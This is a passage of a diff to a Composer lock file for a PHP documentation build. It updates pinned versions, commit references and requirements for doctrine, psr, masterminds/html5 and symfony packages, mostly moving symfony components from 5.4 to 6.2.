+            "version": "v1.0.0",
+            "source": {
+                "type": "git",
+                "url": "https://github.com/doctrine/deprecations.git",
+                "reference": "0e2a4f1f8cdfc7a92ec3b01c9334898c806b30de"
+            },
+            "dist": {
+                "type": "zip",
+                "url": "https://api.github.com/repos/doctrine/deprecations/zipball/0e2a4f1f8cdfc7a92ec3b01c9334898c806b30de",
+                "reference": "0e2a4f1f8cdfc7a92ec3b01c9334898c806b30de",
+                "shasum": ""
+            },
+            "require": {
+                "php": "^7.1|^8.0"
+            },
+            "require-dev": {
+                "doctrine/coding-standard": "^9",
+                "phpunit/phpunit": "^7.5|^8.5|^9.5",
+                "psr/log": "^1|^2|^3"
+            },
+            "suggest": {
+                "psr/log": "Allows logging deprecations via PSR-3 logger implementation"
+            },
+            "type": "library",
+            "autoload": {
+                "psr-4": {
+                    "Doctrine\\Deprecations\\": "lib/Doctrine/Deprecations"
+                }
+            },
+            "notification-url": "https://packagist.org/downloads/",
+            "license": [
+                "MIT"
+            ],
+            "description": "A small layer on top of trigger_error(E_USER_DEPRECATED) or PSR-3 logging with options to disable all deprecations or selectively for packages.",
+            "homepage": "https://www.doctrine-project.org/",
+            "support": {
+                "issues": "https://github.com/doctrine/deprecations/issues",
+                "source": "https://github.com/doctrine/deprecations/tree/v1.0.0"
+            },
+            "time": "2022-05-02T15:47:09+00:00"
+        },
         {
             "name": "doctrine/event-manager",
-            "version": "1.1.1",
+            "version": "1.2.0",
             "source": {
                 "type": "git",
                 "url": "https://github.com/doctrine/event-manager.git",
-                "reference": "41370af6a30faa9dc0368c4a6814d596e81aba7f"
+                "reference": "95aa4cb529f1e96576f3fda9f5705ada4056a520"
             },
             "dist": {
                 "type": "zip",
-                "url": "https://api.github.com/repos/doctrine/event-manager/zipball/41370af6a30faa9dc0368c4a6814d596e81aba7f",
-                "reference": "41370af6a30faa9dc0368c4a6814d596e81aba7f",
+                "url": "https://api.github.com/repos/doctrine/event-manager/zipball/95aa4cb529f1e96576f3fda9f5705ada4056a520",
+                "reference": "95aa4cb529f1e96576f3fda9f5705ada4056a520",
                 "shasum": ""
             },
             "require": {
+                "doctrine/deprecations": "^0.5.3 || ^1",
                 "php": "^7.1 || ^8.0"
             },
             "conflict": {
-                "doctrine/common": "<2.9@dev"
+                "doctrine/common": "<2.9"
             },
             "require-dev": {
-                "doctrine/coding-standard": "^6.0",
-                "phpunit/phpunit": "^7.0"
+                "doctrine/coding-standard": "^9 || ^10",
+                "phpstan/phpstan": "~1.4.10 || ^1.8.8",
+                "phpunit/phpunit": "^7.5 || ^8.5 || ^9.5",
+                "vimeo/psalm": "^4.24"
             },
             "type": "library",
-            "extra": {
-                "branch-alias": {
-                    "dev-master": "1.0.x-dev"
-                }
-            },
             "autoload": {
                 "psr-4": {
-                    "Doctrine\\Common\\": "lib/Doctrine/Common"
+                    "Doctrine\\Common\\": "src"
                 }
             },
             "notification-url": "https://packagist.org/downloads/",
@@ -82,7 +123,7 @@
             ],
             "support": {
                 "issues": "https://github.com/doctrine/event-manager/issues",
-                "source": "https://github.com/doctrine/event-manager/tree/1.1.x"
+                "source": "https://github.com/doctrine/event-manager/tree/1.2.0"
             },
             "funding": [
                 {
@@ -98,20 +139,20 @@
                     "type": "tidelift"
                 }
             ],
-            "time": "2020-05-29T18:28:51+00:00"
+            "time": "2022-10-12T20:51:15+00:00"
         },
         {
             "name": "doctrine/rst-parser",
-            "version": "0.5.2",
+            "version": "0.5.3",
             "source": {
                 "type": "git",
                 "url": "https://github.com/doctrine/rst-parser.git",
-                "reference": "3b914d5eb8f6a91afc7462ea7794b0e05b884a35"
+                "reference": "0b1d413d6bb27699ccec1151da6f617554d02c13"
             },
             "dist": {
                 "type": "zip",
-                "url": "https://api.github.com/repos/doctrine/rst-parser/zipball/3b914d5eb8f6a91afc7462ea7794b0e05b884a35",
-                "reference": "3b914d5eb8f6a91afc7462ea7794b0e05b884a35",
+                "url": "https://api.github.com/repos/doctrine/rst-parser/zipball/0b1d413d6bb27699ccec1151da6f617554d02c13",
+                "reference": "0b1d413d6bb27699ccec1151da6f617554d02c13",
                 "shasum": ""
             },
             "require": {
@@ -125,12 +166,12 @@
                 "twig/twig": "^2.9 || ^3.3"
             },
             "require-dev": {
-                "doctrine/coding-standard": "^8.0",
+                "doctrine/coding-standard": "^10.0",
                 "gajus/dindent": "^2.0.2",
-                "phpstan/phpstan": "^0.12",
-                "phpstan/phpstan-deprecation-rules": "^0.12",
-                "phpstan/phpstan-phpunit": "^0.12",
-                "phpstan/phpstan-strict-rules": "^0.12",
+                "phpstan/phpstan": "^1.9",
+                "phpstan/phpstan-deprecation-rules": "^1.0",
+                "phpstan/phpstan-phpunit": "^1.2",
+                "phpstan/phpstan-strict-rules": "^1.4",
                 "phpunit/phpunit": "^7.5 || ^8.0 || ^9.0",
                 "symfony/css-selector": "4.4 || ^5.2 || ^6.0",
                 "symfony/dom-crawler": "4.4 || ^5.2 || ^6.0"
@@ -169,28 +210,102 @@
             ],
             "support": {
                 "issues": "https://github.com/doctrine/rst-parser/issues",
-                "source": "https://github.com/doctrine/rst-parser/tree/0.5.2"
+                "source": "https://github.com/doctrine/rst-parser/tree/0.5.3"
+            },
+            "time": "2022-12-29T16:24:52+00:00"
+        },
+        {
+            "name": "masterminds/html5",
+            "version": "2.7.6",
+            "source": {
+                "type": "git",
+                "url": "https://github.com/Masterminds/html5-php.git",
+                "reference": "897eb517a343a2281f11bc5556d6548db7d93947"
+            },
+            "dist": {
+                "type": "zip",
+                "url": "https://api.github.com/repos/Masterminds/html5-php/zipball/897eb517a343a2281f11bc5556d6548db7d93947",
+                "reference": "897eb517a343a2281f11bc5556d6548db7d93947",
+                "shasum": ""
+            },
+            "require": {
+                "ext-ctype": "*",
+                "ext-dom": "*",
+                "ext-libxml": "*",
+                "php": ">=5.3.0"
+            },
+            "require-dev": {
+                "phpunit/phpunit": "^4.8.35 || ^5.7.21 || ^6 || ^7"
+            },
+            "type": "library",
+            "extra": {
+                "branch-alias": {
+                    "dev-master": "2.7-dev"
+                }
+            },
+            "autoload": {
+                "psr-4": {
+                    "Masterminds\\": "src"
+                }
+            },
+            "notification-url": "https://packagist.org/downloads/",
+            "license": [
+                "MIT"
+            ],
+            "authors": [
+                {
+                    "name": "Matt Butcher",
+                    "email": "technosophos@gmail.com"
+                },
+                {
+                    "name": "Matt Farina",
+                    "email": "matt@mattfarina.com"
+                },
+                {
+                    "name": "Asmir Mustafic",
+                    "email": "goetas@gmail.com"
+                }
+            ],
+            "description": "An HTML5 parser and serializer.",
+            "homepage": "http://masterminds.github.io/html5-php",
+            "keywords": [
+                "HTML5",
+                "dom",
+                "html",
+                "parser",
+                "querypath",
+                "serializer",
+                "xml"
+            ],
+            "support": {
+                "issues": "https://github.com/Masterminds/html5-php/issues",
+                "source": "https://github.com/Masterminds/html5-php/tree/2.7.6"
             },
-            "time": "2022-03-22T13:52:20+00:00"
+            "time": "2022-08-18T16:18:26+00:00"
         },
         {
             "name": "psr/container",
-            "version": "1.1.2",
+            "version": "2.0.2",
             "source": {
                 "type": "git",
                 "url": "https://github.com/php-fig/container.git",
-                "reference": "513e0666f7216c7459170d56df27dfcefe1689ea"
+                "reference": "c71ecc56dfe541dbd90c5360474fbc405f8d5963"
             },
             "dist": {
                 "type": "zip",
-                "url": "https://api.github.com/repos/php-fig/container/zipball/513e0666f7216c7459170d56df27dfcefe1689ea",
-                "reference": "513e0666f7216c7459170d56df27dfcefe1689ea",
+                "url": "https://api.github.com/repos/php-fig/container/zipball/c71ecc56dfe541dbd90c5360474fbc405f8d5963",
+                "reference": "c71ecc56dfe541dbd90c5360474fbc405f8d5963",
                 "shasum": ""
             },
             "require": {
                 "php": ">=7.4.0"
             },
             "type": "library",
+            "extra": {
+                "branch-alias": {
+                    "dev-master": "2.0.x-dev"
+                }
+            },
             "autoload": {
                 "psr-4": {
                     "Psr\\Container\\": "src/"
@@ -217,36 +332,36 @@
             ],
             "support": {
                 "issues": "https://github.com/php-fig/container/issues",
-                "source": "https://github.com/php-fig/container/tree/1.1.2"
+                "source": "https://github.com/php-fig/container/tree/2.0.2"
             },
-            "time": "2021-11-05T16:50:12+00:00"
+            "time": "2021-11-05T16:47:00+00:00"
         },
         {
             "name": "psr/log",
-            "version": "1.1.4",
+            "version": "3.0.0",
             "source": {
                 "type": "git",
                 "url": "https://github.com/php-fig/log.git",
-                "reference": "d49695b909c3b7628b6289db5479a1c204601f11"
+                "reference": "fe5ea303b0887d5caefd3d431c3e61ad47037001"
             },
             "dist": {
                 "type": "zip",
-                "url": "https://api.github.com/repos/php-fig/log/zipball/d49695b909c3b7628b6289db5479a1c204601f11",
-                "reference": "d49695b909c3b7628b6289db5479a1c204601f11",
+                "url": "https://api.github.com/repos/php-fig/log/zipball/fe5ea303b0887d5caefd3d431c3e61ad47037001",
+                "reference": "fe5ea303b0887d5caefd3d431c3e61ad47037001",
                 "shasum": ""
             },
             "require": {
-                "php": ">=5.3.0"
+                "php": ">=8.0.0"
             },
             "type": "library",
             "extra": {
                 "branch-alias": {
-                    "dev-master": "1.1.x-dev"
+                    "dev-master": "3.x-dev"
                 }
             },
             "autoload": {
                 "psr-4": {
-                    "Psr\\Log\\": "Psr/Log/"
+                    "Psr\\Log\\": "src"
                 }
             },
             "notification-url": "https://packagist.org/downloads/",
@@ -267,22 +382,22 @@
                 "psr-3"
             ],
             "support": {
-                "source": "https://github.com/php-fig/log/tree/1.1.4"
+                "source": "https://github.com/php-fig/log/tree/3.0.0"
             },
-            "time": "2021-05-03T11:20:27+00:00"
+            "time": "2021-07-14T16:46:02+00:00"
         },
         {
             "name": "scrivo/highlight.php",
-            "version": "v9.18.1.9",
+            "version": "v9.18.1.10",
             "source": {
                 "type": "git",
                 "url": "https://github.com/scrivo/highlight.php.git",
-                "reference": "d45585504777e6194a91dffc7270ca39833787f8"
+                "reference": "850f4b44697a2552e892ffe71490ba2733c2fc6e"
             },
             "dist": {
                 "type": "zip",
-                "url": "https://api.github.com/repos/scrivo/highlight.php/zipball/d45585504777e6194a91dffc7270ca39833787f8",
-                "reference": "d45585504777e6194a91dffc7270ca39833787f8",
+                "url": "https://api.github.com/repos/scrivo/highlight.php/zipball/850f4b44697a2552e892ffe71490ba2733c2fc6e",
+                "reference": "850f4b44697a2552e892ffe71490ba2733c2fc6e",
                 "shasum": ""
             },
             "require": {
@@ -292,8 +407,8 @@
             "require-dev": {
                 "phpunit/phpunit": "^4.8|^5.7",
                 "sabberworm/php-css-parser": "^8.3",
-                "symfony/finder": "^2.8|^3.4",
-                "symfony/var-dumper": "^2.8|^3.4"
+                "symfony/finder": "^2.8|^3.4|^5.4",
+                "symfony/var-dumper": "^2.8|^3.4|^5.4"
             },
             "suggest": {
                 "ext-mbstring": "Allows highlighting code with unicode characters and supports language with unicode keywords"
@@ -347,20 +462,20 @@
                     "type": "github"
                 }
             ],
-            "time": "2021-12-03T06:45:28+00:00"
+            "time": "2022-12-17T21:53:22+00:00"
         },
         {
             "name": "symfony-tools/docs-builder",
-            "version": "v0.18.9",
+            "version": "v0.18.10",
             "source": {
                 "type": "git",
                 "url": "https://github.com/symfony-tools/docs-builder.git",
-                "reference": "1bc91f91887b115d78e7d2c8879c19af515b36ae"
+                "reference": "8420c687cff102ee30288380ab682ecf539dbf3b"
             },
             "dist": {
                 "type": "zip",
-                "url": "https://api.github.com/repos/symfony-tools/docs-builder/zipball/1bc91f91887b115d78e7d2c8879c19af515b36ae",
-                "reference": "1bc91f91887b115d78e7d2c8879c19af515b36ae",
+                "url": "https://api.github.com/repos/symfony-tools/docs-builder/zipball/8420c687cff102ee30288380ab682ecf539dbf3b",
+                "reference": "8420c687cff102ee30288380ab682ecf539dbf3b",
                 "shasum": ""
             },
             "require": {
@@ -398,52 +513,49 @@
             "description": "The build system for Symfony's documentation",
             "support": {
                 "issues": "https://github.com/symfony-tools/docs-builder/issues",
-                "source": "https://github.com/symfony-tools/docs-builder/tree/v0.18.9"
+                "source": "https://github.com/symfony-tools/docs-builder/tree/v0.18.10"
             },
-            "time": "2022-03-22T14:32:49+00:00"
+            "time": "2022-12-30T15:11:58+00:00"
         },
         {
             "name": "symfony/console",
-            "version": "v5.4.8",
+            "version": "v6.2.3",
             "source": {
                 "type": "git",
                 "url": "https://github.com/symfony/console.git",
-                "reference": "ffe3aed36c4d60da2cf1b0a1cee6b8f2e5fa881b"
+                "reference": "0f579613e771dba2dbb8211c382342a641f5da06"
             },
             "dist": {
                 "type": "zip",
-                "url": "https://api.github.com/repos/symfony/console/zipball/ffe3aed36c4d60da2cf1b0a1cee6b8f2e5fa881b",
-                "reference": "ffe3aed36c4d60da2cf1b0a1cee6b8f2e5fa881b",
+                "url": "https://api.github.com/repos/symfony/console/zipball/0f579613e771dba2dbb8211c382342a641f5da06",
+                "reference": "0f579613e771dba2dbb8211c382342a641f5da06",
                 "shasum": ""
             },
             "require": {
-                "php": ">=7.2.5",
+                "php": ">=8.1",
                 "symfony/deprecation-contracts": "^2.1|^3",
                 "symfony/polyfill-mbstring": "~1.0",
-                "symfony/polyfill-php73": "^1.9",
-                "symfony/polyfill-php80": "^1.16",
                 "symfony/service-contracts": "^1.1|^2|^3",
-                "symfony/string": "^5.1|^6.0"
+                "symfony/string": "^5.4|^6.0"
             },
             "conflict": {
-                "psr/log": ">=3",
-                "symfony/dependency-injection": "<4.4",
-                "symfony/dotenv": "<5.1",
-                "symfony/event-dispatcher": "<4.4",
-                "symfony/lock": "<4.4",
-                "symfony/process": "<4.4"
+                "symfony/dependency-injection": "<5.4",
+                "symfony/dotenv": "<5.4",
+                "symfony/event-dispatcher": "<5.4",
+                "symfony/lock": "<5.4",
+                "symfony/process": "<5.4"
             },
             "provide": {
-                "psr/log-implementation": "1.0|2.0"
+                "psr/log-implementation": "1.0|2.0|3.0"
             },
             "require-dev": {
-                "psr/log": "^1|^2",
-                "symfony/config": "^4.4|^5.0|^6.0",
-                "symfony/dependency-injection": "^4.4|^5.0|^6.0",
-                "symfony/event-dispatcher": "^4.4|^5.0|^6.0",
-                "symfony/lock": "^4.4|^5.0|^6.0",
-                "symfony/process": "^4.4|^5.0|^6.0",
-                "symfony/var-dumper": "^4.4|^5.0|^6.0"
+                "psr/log": "^1|^2|^3",
+                "symfony/config": "^5.4|^6.0",
+                "symfony/dependency-injection": "^5.4|^6.0",
+                "symfony/event-dispatcher": "^5.4|^6.0",
+                "symfony/lock": "^5.4|^6.0",
+                "symfony/process": "^5.4|^6.0",
+                "symfony/var-dumper": "^5.4|^6.0"
             },
             "suggest": {
                 "psr/log": "For using the console logger",
@@ -483,7 +595,7 @@
                 "terminal"
             ],
             "support": {
-                "source": "https://github.com/symfony/console/tree/v5.4.8"
+                "source": "https://github.com/symfony/console/tree/v6.2.3"
             },
             "funding": [
                 {
@@ -499,25 +611,24 @@
                     "type": "tidelift"
                 }
             ],
-            "time": "2022-04-12T16:02:29+00:00"
+            "time": "2022-12-28T14:26:22+00:00"
         },
         {
             "name": "symfony/css-selector",
-            "version": "v5.4.3",
+            "version": "v6.2.3",
             "source": {
                 "type": "git",
                 "url": "https://github.com/symfony/css-selector.git",
-                "reference": "b0a190285cd95cb019237851205b8140ef6e368e"
+                "reference": "ab1df4ba3ded7b724766ba3a6e0eca0418e74f80"
             },
             "dist": {
                 "type": "zip",
-                "url": "https://api.github.com/repos/symfony/css-selector/zipball/b0a190285cd95cb019237851205b8140ef6e368e",
-                "reference": "b0a190285cd95cb019237851205b8140ef6e368e",
+                "url": "https://api.github.com/repos/symfony/css-selector/zipball/ab1df4ba3ded7b724766ba3a6e0eca0418e74f80",
+                "reference": "ab1df4ba3ded7b724766ba3a6e0eca0418e74f80",
                 "shasum": ""
             },
             "require": {
-                "php": ">=7.2.5",
-                "symfony/polyfill-php80": "^1.16"
+                "php": ">=8.1"
             },
             "type": "library",
             "autoload": {
@@ -549,7 +660,7 @@
             "description": "Converts CSS selectors to XPath expressions",
             "homepage": "https://symfony.com",
             "support": {
-                "source": "https://github.com/symfony/css-selector/tree/v5.4.3"
+                "source": "https://github.com/symfony/css-selector/tree/v6.2.3"
             },
             "funding": [
                 {
@@ -565,29 +676,29 @@
                     "type": "tidelift"
                 }
             ],
-            "time": "2022-01-02T09:53:40+00:00"
+            "time": "2022-12-28T14:26:22+00:00"
         },
         {
             "name": "symfony/deprecation-contracts",
-            "version": "v2.5.1",
+            "version": "v3.2.0",
             "source": {
                 "type": "git",
                 "url": "https://github.com/symfony/deprecation-contracts.git",
-                "reference": "e8b495ea28c1d97b5e0c121748d6f9b53d075c66"
+                "reference": "1ee04c65529dea5d8744774d474e7cbd2f1206d3"
             },
             "dist": {
                 "type": "zip",
-                "url": "https://api.github.com/repos/symfony/deprecation-contracts/zipball/e8b495ea28c1d97b5e0c121748d6f9b53d075c66",
-                "reference": "e8b495ea28c1d97b5e0c121748d6f9b53d075c66",
+                "url": "https://api.github.com/repos/symfony/deprecation-contracts/zipball/1ee04c65529dea5d8744774d474e7cbd2f1206d3",
+                "reference": "1ee04c65529dea5d8744774d474e7cbd2f1206d3",
                 "shasum": ""
             },
             "require": {
-                "php": ">=7.1"
+                "php": ">=8.1"
             },
             "type": "library",
             "extra": {
                 "branch-alias": {
-                    "dev-main": "2.5-dev"
+                    "dev-main": "3.3-dev"
                 },
                 "thanks": {
                     "name": "symfony/contracts",
@@ -616,7 +727,7 @@
             "description": "A generic function and convention to trigger deprecation notices",
             "homepage": "https://symfony.com",
             "support": {
-                "source": "https://github.com/symfony/deprecation-contracts/tree/v2.5.1"
+                "source": "https://github.com/symfony/deprecation-contracts/tree/v3.2.0"
             },
             "funding": [
                 {
@@ -632,35 +743,30 @@
                     "type": "tidelift"
                 }
             ],
-            "time": "2022-01-02T09:53:40+00:00"
+            "time": "2022-11-25T10:21:52+00:00"
         },
         {
             "name": "symfony/dom-crawler",
-            "version": "v5.4.6",
+            "version": "v6.2.3",
             "source": {
                 "type": "git",
                 "url": "https://github.com/symfony/dom-crawler.git",
-                "reference": "c0bda97480d96337bd3866026159a8b358665457"
+                "reference": "f2743e033dd05a62978ced0ad368022e82c9fab2"
             },
             "dist": {
                 "type": "zip",
-                "url": "https://api.github.com/repos/symfony/dom-crawler/zipball/c0bda97480d96337bd3866026159a8b358665457",
-                "reference": "c0bda97480d96337bd3866026159a8b358665457",
+                "url": "https://api.github.com/repos/symfony/dom-crawler/zipball/f2743e033dd05a62978ced0ad368022e82c9fab2",
+                "reference": "f2743e033dd05a62978ced0ad368022e82c9fab2",
                 "shasum": ""
             },
             "require": {
-                "php": ">=7.2.5",
-                "symfony/deprecation-contracts": "^2.1|^3",
+                "masterminds/html5": "^2.6",
+                "php": ">=8.1",
                 "symfony/polyfill-ctype": "~1.8",
-                "symfony/polyfill-mbstring": "~1.0",
-                "symfony/polyfill-php80": "^1.16"
-            },
-            "conflict": {
-                "masterminds/html5": "<2.6"
+                "symfony/polyfill-mbstring": "~1.0"
             },
             "require-dev": {
-                "masterminds/html5": "^2.6",
-                "symfony/css-selector": "^4.4|^5.0|^6.0"
+                "symfony/css-selector": "^5.4|^6.0"
             },
             "suggest": {
                 "symfony/css-selector": ""
@@ -691,7 +797,7 @@
             "description": "Eases DOM navigation for HTML and XML documents",
             "homepage": "https://symfony.com",
             "support": {
-                "source": "https://github.com/symfony/dom-crawler/tree/v5.4.6"
+                "source": "https://github.com/symfony/dom-crawler/tree/v6.2.3"
             },
             "funding": [
                 {
@@ -707,27 +813,26 @@
                     "type": "tidelift"
                 }
             ],
-            "time": "2022-03-02T12:42:23+00:00"
+            "time": "2022-12-22T17:55:15+00:00"
         },
         {
             "name": "symfony/filesystem",
-            "version": "v5.4.7",
+            "version": "v6.2.0",
             "source": {
                 "type": "git",
                 "url": "https://github.com/symfony/filesystem.git",
-                "reference": "3a4442138d80c9f7b600fb297534ac718b61d37f"
+                "reference": "50b2523c874605cf3d4acf7a9e2b30b6a440a016"
             },
             "dist": {
                 "type": "zip",
-                "url": "https://api.github.com/repos/symfony/filesystem/zipball/3a4442138d80c9f7b600fb297534ac718b61d37f",
-                "reference": "3a4442138d80c9f7b600fb297534ac718b61d37f",
+                "url": "https://api.github.com/repos/symfony/filesystem/zipball/50b2523c874605cf3d4acf7a9e2b30b6a440a016",
+                "reference": "50b2523c874605cf3d4acf7a9e2b30b6a440a016",
                 "shasum": ""
             },
             "require": {
-                "php": ">=7.2.5",
+                "php": ">=8.1",
                 "symfony/polyfill-ctype": "~1.8",
-                "symfony/polyfill-mbstring": "~1.8",
-                "symfony/polyfill-php80": "^1.16"
+                "symfony/polyfill-mbstring": "~1.8"
             },
             "type": "library",
             "autoload": {
@@ -755,7 +860,7 @@
             "description": "Provides basic utilities for the filesystem",
             "homepage": "https://symfony.com",
             "support": {
-                "source": "https://github.com/symfony/filesystem/tree/v5.4.7"
+                "source": "https://github.com/symfony/filesystem/tree/v6.2.0"
             },
             "funding": [
                 {
@@ -771,26 +876,27 @@
                     "type": "tidelift"
                 }
             ],
-            "time": "2022-04-01T12:33:59+00:00"
+            "time": "2022-11-20T13:01:27+00:00"
         },
         {
             "name": "symfony/finder",
-            "version": "v5.4.8",
+            "version": "v6.2.3",
             "source": {
                 "type": "git",
                 "url": "https://github.com/symfony/finder.git",
-                "reference": "9b630f3427f3ebe7cd346c277a1408b00249dad9"
+                "reference": "81eefbddfde282ee33b437ba5e13d7753211ae8e"
             },
             "dist": {
                 "type": "zip",
-                "url": "https://api.github.com/repos/symfony/finder/zipball/9b630f3427f3ebe7cd346c277a1408b00249dad9",
-                "reference": "9b630f3427f3ebe7cd346c277a1408b00249dad9",
+                "url": "https://api.github.com/repos/symfony/finder/zipball/81eefbddfde282ee33b437ba5e13d7753211ae8e",
+                "reference": "81eefbddfde282ee33b437ba5e13d7753211ae8e",
                 "shasum": ""
             },
             "require": {
-                "php": ">=7.2.5",
-                "symfony/deprecation-contracts": "^2.1|^3",
-                "symfony/polyfill-php80": "^1.16"
+                "php": ">=8.1"
+            },
+            "require-dev": {
+                "symfony/filesystem": "^6.0"
             },
             "type": "library",
             "autoload": {
@@ -818,7 +924,7 @@
             "description": "Finds files and directories via an intuitive fluent interface",
             "homepage": "https://symfony.com",
             "support": {
-                "source": "https://github.com/symfony/finder/tree/v5.4.8"
+                "source": "https://github.com/symfony/finder/tree/v6.2.3"
             },
             "funding": [
                 {
@@ -834,36 +940,34 @@
                     "type": "tidelift"
                 }
             ],
-            "time": "2022-04-15T08:07:45+00:00"
+            "time": "2022-12-22T17:55:15+00:00"
         },
         {
             "name": "symfony/http-client",
-            "version": "v5.4.8",
+            "version": "v6.2.2",
             "source": {
                 "type": "git",
                 "url": "https://github.com/symfony/http-client.git",
-                "reference": "0dabec4e3898d3e00451dd47b5ef839168f9bbf5"
+                "reference": "7054ad466f836309aef511789b9c697bc986d8ce"
             },
             "dist": {
                 "type": "zip",
-                "url": "https://api.github.com/repos/symfony/http-client/zipball/0dabec4e3898d3e00451dd47b5ef839168f9bbf5",
-                "reference": "0dabec4e3898d3e00451dd47b5ef839168f9bbf5",
+                "url": "https://api.github.com/repos/symfony/http-client/zipball/7054ad466f836309aef511789b9c697bc986d8ce",
+                "reference": "7054ad466f836309aef511789b9c697bc986d8ce",
                 "shasum": ""
             },
             "require": {
-                "php": ">=7.2.5",
+                "php": ">=8.1",
                 "psr/log": "^1|^2|^3",
                 "symfony/deprecation-contracts": "^2.1|^3",
-                "symfony/http-client-contracts": "^2.4",
-                "symfony/polyfill-php73": "^1.11",
-                "symfony/polyfill-php80": "^1.16",
+                "symfony/http-client-contracts": "^3",
                 "symfony/service-contracts": "^1.0|^2|^3"
             },
             "provide": {
                 "php-http/async-client-implementation": "*",
                 "php-http/client-implementation": "*",
                 "psr/http-client-implementation": "1.0",
-                "symfony/http-client-implementation": "2.4"
+                "symfony/http-client-implementation": "3.0"
             },
             "require-dev": {
                 "amphp/amp": "^2.5",
@@ -874,10 +978,10 @@
                 "nyholm/psr7": "^1.0",
                 "php-http/httplug": "^1.0|^2.0",
                 "psr/http-client": "^1.0",
-                "symfony/dependency-injection": "^4.4|^5.0|^6.0",
-                "symfony/http-kernel": "^4.4.13|^5.1.5|^6.0",
-                "symfony/process": "^4.4|^5.0|^6.0",
-                "symfony/stopwatch": "^4.4|^5.0|^6.0"
+                "symfony/dependency-injection": "^5.4|^6.0",
+                "symfony/http-kernel": "^5.4|^6.0",
+                "symfony/process": "^5.4|^6.0",
+                "symfony/stopwatch": "^5.4|^6.0"
             },
             "type": "library",
             "autoload": {
@@ -905,7 +1009,7 @@
             "description": "Provides powerful methods to fetch HTTP resources synchronously or asynchronously",
             "homepage": "https://symfony.com",
             "support": {
-                "source": "https://github.com/symfony/http-client/tree/v5.4.8"
+                "source": "https://github.com/symfony/http-client/tree/v6.2.2"
             },
             "funding": [
                 {
@@ -921,24 +1025,24 @@
                     "type": "tidelift"
                 }
             ],
-            "time": "2022-04-12T16:02:29+00:00"
+            "time": "2022-12-14T16:11:27+00:00"
         },
         {
             "name": "symfony/http-client-contracts",
-            "version": "v2.5.1",
+            "version": "v3.2.0",
             "source": {
                 "type": "git",
                 "url": "https://github.com/symfony/http-client-contracts.git",
-                "reference": "1a4f708e4e87f335d1b1be6148060739152f0bd5"
+                "reference": "c5f587eb445224ddfeb05b5ee703476742d730bf"
             },
             "dist": {
                 "type": "zip",
-                "url": "https://api.github.com/repos/symfony/http-client-contracts/zipball/1a4f708e4e87f335d1b1be6148060739152f0bd5",
-                "reference": "1a4f708e4e87f335d1b1be6148060739152f0bd5",
+                "url": "https://api.github.com/repos/symfony/http-client-contracts/zipball/c5f587eb445224ddfeb05b5ee703476742d730bf",
+                "reference": "c5f587eb445224ddfeb05b5ee703476742d730bf",
                 "shasum": ""
             },
             "require": {
-                "php": ">=7.2.5"
+                "php": ">=8.1"
             },
             "suggest": {
                 "symfony/http-client-implementation": ""
@@ -946,7 +1050,7 @@
             "type": "library",
             "extra": {
                 "branch-alias": {
-                    "dev-main": "2.5-dev"
+                    "dev-main": "3.3-dev"
                 },
                 "thanks": {
                     "name": "symfony/contracts",
@@ -956,7 +1060,10 @@
             "autoload": {
                 "psr-4": {
                     "Symfony\\Contracts\\HttpClient\\": ""
-                }
+                },
+                "exclude-from-classmap": [
+                    "/Test/"
+                ]
             },
             "notification-url": "https://packagist.org/downloads/",
             "license": [
@@ -983,7 +1090,7 @@
                 "standards"
             ],
             "support": {
-                "source": "https://github.com/symfony/http-client-contracts/tree/v2.5.1"
+                "source": "https://github.com/symfony/http-client-contracts/tree/v3.2.0"
             },
             "funding": [
                 {
@@ -999,20 +1106,20 @@
                     "type": "tidelift"
                 }
             ],
-            "time": "2022-03-13T20:07:29+00:00"
+            "time": "2022-11-25T10:21:52+00:00"
         },
         {
             "name": "symfony/polyfill-ctype",
-            "version": "v1.25.0",
+            "version": "v1.27.0",
             "source": {
                 "type": "git",
                 "url": "https://github.com/symfony/polyfill-ctype.git",
-                "reference": "30885182c981ab175d4d034db0f6f469898070ab"
+                "reference": "5bbc823adecdae860bb64756d639ecfec17b050a"
             },
             "dist": {
                 "type": "zip",
-                "url": "https://api.github.com/repos/symfony/polyfill-ctype/zipball/30885182c981ab175d4d034db0f6f469898070ab",
-                "reference": "30885182c981ab175d4d034db0f6f469898070ab",
+                "url": "https://api.github.com/repos/symfony/polyfill-ctype/zipball/5bbc823adecdae860bb64756d639ecfec17b050a",
+                "reference": "5bbc823adecdae860bb64756d639ecfec17b050a",
                 "shasum": ""
             },
             "require": {
@@ -1027,7 +1134,7 @@
             "type": "library",
             "extra": {
                 "branch-alias": {
-                    "dev-main": "1.23-dev"
+                    "dev-main": "1.27-dev"
                 },
                 "thanks": {
                     "name": "symfony/polyfill",
@@ -1065,7 +1172,7 @@
                 "portable"
             ],
             "support": {
-                "source": "https://github.com/symfony/polyfill-ctype/tree/v1.25.0"
+                "source": "https://github.com/symfony/polyfill-ctype/tree/v1.27.0"
             },
             "funding": [
                 {
@@ -1081,20 +1188,20 @@
                     "type": "tidelift"
                 }
             ],
-            "time": "2021-10-20T20:35:02+00:00"
+            "time": "2022-11-03T14:55:06+00:00"
         },
         {
             "name": "symfony/polyfill-intl-grapheme",
-            "version": "v1.25.0",
+            "version": "v1.27.0",
             "source": {
                 "type": "git",
                 "url": "https://github.com/symfony/polyfill-intl-grapheme.git",
-                "reference": "81b86b50cf841a64252b439e738e97f4a34e2783"
+                "reference": "511a08c03c1960e08a883f4cffcacd219b758354"
             },
             "dist": {
                 "type": "zip",
-                "url": "https://api.github.com/repos/symfony/polyfill-intl-grapheme/zipball/81b86b50cf841a64252b439e738e97f4a34e2783",
-                "reference": "81b86b50cf841a64252b439e738e97f4a34e2783",
+                "url": "https://api.github.com/repos/symfony/polyfill-intl-grapheme/zipball/511a08c03c1960e08a883f4cffcacd219b758354",
+                "reference": "511a08c03c1960e08a883f4cffcacd219b758354",
                 "shasum": ""
             },
             "require": {
@@ -1106,7 +1213,7 @@
             "type": "library",
             "extra": {
                 "branch-alias": {
-                    "dev-main": "1.23-dev"
+                    "dev-main": "1.27-dev"
                 },
                 "thanks": {
                     "name": "symfony/polyfill",
@@ -1146,7 +1253,7 @@
                 "shim"
             ],
             "support": {
-                "source": "https://github.com/symfony/polyfill-intl-grapheme/tree/v1.25.0"
+                "source": "https://github.com/symfony/polyfill-intl-grapheme/tree/v1.27.0"
             },
             "funding": [
                 {
@@ -1162,20 +1269,20 @@
                     "type": "tidelift"
                 }
             ],
-            "time": "2021-11-23T21:10:46+00:00"
+            "time": "2022-11-03T14:55:06+00:00"
         },
         {
             "name": "symfony/polyfill-intl-normalizer",
-            "version": "v1.25.0",
+            "version": "v1.27.0",
             "source": {
                 "type": "git",
